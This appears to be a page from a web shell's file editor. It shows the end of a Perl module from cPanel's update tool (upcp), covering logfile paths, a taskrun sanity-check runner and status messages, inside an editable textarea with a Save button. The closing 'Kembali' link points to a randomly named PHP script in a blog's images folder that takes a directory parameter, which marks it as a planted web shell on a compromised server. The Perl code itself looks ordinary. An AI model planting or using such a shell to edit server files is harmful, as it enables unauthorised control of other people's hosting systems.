    $logger-&gt;{pbar} = $pbar_starting_point;

    return $logger;
}

sub _determine_logfile_path_if_running ($pid) {
    my $upid = Cpanel::UPID::get($pid);

    return $upid ? &quot;/var/cpanel/updatelogs/update.$upid.log&quot; : undef;
}

sub run_sanity_install_scripts {
    my ($logfile_path) = @_;

    # Use bin/taskrun --sanity to execute sanity check install tasks
    require Cpanel::SafeRun::Object;

    print &quot;Running sanity check scripts via taskrun\n&quot;;

    my $saferun = Cpanel::SafeRun::Object-&gt;new_or_die(
        program =&gt; &#039;/usr/local/cpanel/bin/taskrun&#039;,
        args    =&gt; [&#039;--sanity&#039;],
    );

    my $stdout      = $saferun-&gt;stdout() // &#039;&#039;;
    my $stderr      = $saferun-&gt;stderr() // &#039;&#039;;
    my $exit_status = $saferun-&gt;CHILD_ERROR() &gt;&gt; 8;

    # Print any output from taskrun
    print $stdout        if $stdout;
    print STDERR $stderr if $stderr;

    if ( $exit_status == 0 ) {
        print &quot;Sanity check scripts completed successfully\n&quot;;
    }
    else {
        print &quot;Sanity check scripts exited with status: $exit_status\n&quot;;
    }

    return $exit_status;
}

#----------------------------------------------------------------------
# HANDLE WITH CARE!! This string is parsed
# in at least one place. (cf. Cpanel::Update::Start)
sub _message_about_newly_started ( $updatepid, $logfile_path ) {

    return &quot;upcp is going into background mode (PID $updatepid). You can follow “$logfile_path” to watch its progress.&quot;;
}

#----------------------------------------------------------------------
# HANDLE WITH CARE!! This string is parsed
# in at least one place. (cf. Cpanel::Update::Start)
sub _message_about_already_running ( $curpid, $logpath ) {

    return &quot;cPanel Update (upcp) is already running. Please wait for the previous upcp (PID $curpid, log file “$logpath”) to complete, then try again. You can use the command &#039;ps --pid $curpid&#039; to check if the process is running. You may wish to use &#039;--force&#039;.&quot;;
}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>